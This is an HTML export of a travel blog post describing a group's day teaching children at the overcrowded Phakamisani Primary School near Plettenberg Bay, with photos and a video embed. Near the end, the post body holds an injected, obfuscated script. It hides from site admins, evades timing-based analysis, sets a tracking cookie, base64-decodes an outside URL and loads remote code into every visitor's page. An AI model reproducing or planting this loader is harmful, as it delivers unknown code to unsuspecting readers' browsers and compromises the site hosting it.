Pippa and her husband Willie Ford have come from a background of teaching in the Uk, Australia and Zimbabwe and have now dedicated themselves to be based in Plett helping out there through their company <a href=\"http:\/\/www.volunteeringsa.com\/\" target=\"_blank\" rel=\"noopener\">Volunteering SA<\/a>. The school is currently running at more than double the capacity it was designed for and classes are often conducted outside.&nbsp;<br \/>\n<img decoding=\"async\" alt=\"Sasha guitar\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/IMG_6365_560x373.jpg\" style=\"width: 560px; height: 373px;\" \/><br \/>\nDuring our day at Phakamisani we split up the group into our various strengths and taught classes on our own, varying from Maths to English and of course sport. It was the last week of school so the teachers had marking to do and gladly passed the students onto us. It was an interesting and fun yet sad experience, seeing how the children didn&#39;t even have what we consider basic stationery such as a ruler.<br \/>\n<img decoding=\"async\" alt=\"fun\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/IMG_6088_560x373.jpg\" style=\"width: 560px; height: 373px;\" \/><br \/>\nI hope you enjoye the video and take a scroll through the photos to see what we got up to in the plaground.<\/p>\n<p>Luke<\/p>\n<p>\n<iframe loading=\"lazy\" allowfullscreen=\"\" frameborder=\"0\" height=\"315\" src=\"\/\/www.youtube.com\/embed\/v7bjbm9KYtw?list=UUjkdWEiJKIEeuUBYJLiPOfg\" width=\"560\"><\/iframe><\/div>\n<\/div>\n<div class=\"field_blog_blurb\">\n<div>Blurb<\/div>\n<div>Photos and fun video of a day helping out at Phakamisani school in the township near Plett<\/div>\n<\/div>\n<div class=\"field_meta_title\">\n<div>Title<\/div>\n<div>Giving a helping hand in the community<\/div>\n<\/div>\n<div class=\"field_meta_description\">\n<div>Description<\/div>\n<div>Video and photo blog where we help out in a massively overcrowded school based in a township near Plett<\/div>\n<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Whilst in Plettenberg Bay we offered to help out at a fairly new project helping Phakamisani Primary School.
